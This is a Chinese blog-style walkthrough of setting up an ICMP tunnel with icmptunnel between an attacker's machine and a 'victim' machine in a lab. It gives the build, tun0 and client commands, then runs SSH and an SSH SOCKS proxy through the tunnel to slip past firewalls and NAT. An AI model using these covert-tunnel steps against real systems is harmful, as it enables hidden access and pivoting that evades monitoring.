介绍
icmptunnel也是用来搭建icmp隧道的,地址: https://github.com/jamesbarlow/icmptunnel,看它的说明意思是对IP流量进行封装到ICMP包中,这里也看了它参数的说明,没有设置其他协议的参数。也就是说在支持的协议上,可能就是tcp这种,而上篇记录的pingtunnel支持的tcp、udp和sock5,不过这个工具使用感觉还是很舒服的。icmptunnel运行在linux系统上,上篇的pingtunnel可以运行在linux和windows,这也算个区别。再有就是icmptunnel是通过建立一个tun0网卡进行的点对点通信,按官方话说就是提供了更可靠的协议和一种通过有状态防火墙和NAT进行隧道传输的机制。以上就是一些区别,可以简单了解下。
环境图示例
攻击机我们运行的icmptunnel用来当作服务端,受害机运行的是客户端。隧道图如下。
过程
首先我们在攻击机和受害机都需要安装下icmptunnel,并把系统的icmp回显禁用掉,命令如下。
git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmakeecho 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
然后我们攻击机运行icmptunnel,简单跟一个s参数即可。运行后会提示打开了一个隧道tun0,我们这时需要再重新开一个命令行,给tun0设置一下ip和子网掩码(使用tun0点对点和目标机通信)。
攻击机设置好后,我们去受害机用icmptunnel跟服务端ip,并把tun0设置一下就可以了,操作和攻击机上操作类似。
这里就不截图,命令如下:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all./icmptunnel 192.168.86.129ifconfig tun0 10.0.0.2 netmask 255.255.255.0
这时就和目标机建立了一条icmp隧道,这里在攻击机测试,使用shh命令连接目标机,然后抓包查看。
这里抓的eth0网卡的流量。
点对点通信
针对icmptunnel提到的点对点通信,感觉上面的可能不算点对点,因为官方给的示例中在使用ssh连接时,使用的tun0配置的ip,也就是10地址。
这时抓的是tun0的流量。
数据包是tcp和ssh的,为什么不是icmp呢,然后我在抓tun0的时候,顺便把eth0的也抓了下,eth0的是icmp数据包。
猜想:它整个流量是icmp的,但内部封装了我的tcp流量,且tcp流量是通过tun0点对点传送的。这可能就是官方说的那个提供了更可靠的协议和一种通过有状态防火墙和NAT进行隧道传输的机制。所以建议操作的时候使用10的地址。
socks代理
icmptunnel可以通过ssh来把目标机当作socks服务器。ssh命令:ssh -D 8888 -N root@10.0.0.2,D参数指定的要转发的端口(通过socks工作),N代表仅用于端口转发。如果想后台运行可以加f参数。
注意:我这里是kali机器,运行时报错说连接失败,原因是要保证攻击机和目标机都开启了ssh服务。排查时发现kali的ssh服务没开,而服务没开的情况下,ssh命令是可以连接远程机器,但别人不能连自己。
此时本机就可以设置socks代理,地址为本机地址,端口为8888,这里拿proxychains测试了下。
总结
官方文档基本就是最全面的使用文档,不过像一些过程中的错误、或者是一些处理机制类的,不会详细说明,碰到时需要自己去搜资料查。
PS:文章有些图截的可能手机看不方便,以后公众发的文章,属于一个类型的话,我就把本地的markdown笔记转成pdf分享一下,比如最近的搭建隧道这种的,等笔记写完了就都导出一下,方便大家参考。